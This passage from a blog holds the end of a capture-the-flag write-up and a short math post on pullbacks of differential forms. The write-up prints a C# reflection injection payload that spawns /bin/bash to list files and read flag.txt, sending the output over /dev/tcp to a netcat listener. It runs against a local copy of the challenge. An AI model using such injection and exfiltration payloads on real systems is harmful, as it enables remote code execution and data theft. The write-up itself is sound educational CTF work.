to send stuff to our listen server on port 24245.

The rest is done locally, because I can no longer connect to the challenge server. After starting a local server on port 8888, we can do the following.

$ nc localhost 8888
"Nice chat!" && Text != "".GetType().Assembly.GetType("System.AppDomain").GetMethods()[18].Invoke("".GetType().Assembly.GetType("System.AppDomain").GetProperty("CurrentDomain").GetValue(null), "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;System.Diagnostics.Process".Split(";".ToCharArray())).GetType().GetMethods()[80].Invoke(null, "/bin/bash;-c 'ls -al > /dev/tcp/localhost/24245'".Split(";".ToCharArray()))
$ nc localhost 8888
"Nice chat!" && Text != "".GetType().Assembly.GetType("System.AppDomain").GetMethods()[18].Invoke("".GetType().Assembly.GetType("System.AppDomain").GetProperty("CurrentDomain").GetValue(null), "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;System.Diagnostics.Process".Split(";".ToCharArray())).GetType().GetMethods()[80].Invoke(null, "/bin/bash;-c 'cat flag.txt > /dev/tcp/localhost/24245'".Split(";".ToCharArray()))
# in another shell...
$ ncat -l -p 24245 -k -v
Ncat: Version 7.31 ( https://nmap.org/ncat )
Ncat: Listening on :::24245
Ncat: Listening on 0.0.0.0:24245
Ncat: Connection from ::1.
Ncat: Connection from ::1:49454.
total 72
drwxr-xr-x 2 incertia users  4096 Nov 13 12:34 .
drwxr-xr-x 3 incertia users  4096 Nov 13 12:32 ..
-rw-r--r-- 1 incertia users    36 Nov 13 12:34 flag.txt
-rwxr-xr-x 1 incertia users  6144 Nov 13 12:32 linq_to_the_present.exe
-rw-r--r-- 1 incertia users 49664 Nov 13 12:32 System.Linq.Dynamic.dll
Ncat: Connection from ::1.
Ncat: Connection from ::1:49458.
flag{run_against_the_actual_server}

and we win.

Posted in CTF | Leave a comment

Pullbacks of Differential Forms

Let f : M \to N be a smooth map between manifolds and let \phi be a smooth k-form on N. We have the natural push forward/total differential f_* = df : TM \to TN given by df(v_p) = (f \circ \alpha)'(0), where \alpha : I \to M is a curve satisfying \alpha(0) = p and \alpha'(0) = v, but this also gives a natural way to pull back differential forms from N back to M.
Define f^* : \Omega^k (N) \to \Omega^k (M) by f^*(\phi)(v_{p, 1}, \dots, v_{p, k}) = \phi(f_*(v_{p, 1}), \dots, f_*(v_{p, k})), which totally doesn’t look like it’s doing much, but this is precisely what gives is the tools to integrate differential forms on manifolds.

For example, suppose I have a curve f : I \to M and a smooth 1-form \phi on M. Then

    \[ \int_{f(I)} \phi = \int_I f^*(\phi) = \int_I \phi(f'(t)) \, dt, \]

which essential means that we can integrate any 1-form on any manifold by looking at how it behaves in our local copy of \RR on the manifold. Pretty neat, right?

Posted in Math | Leave a comment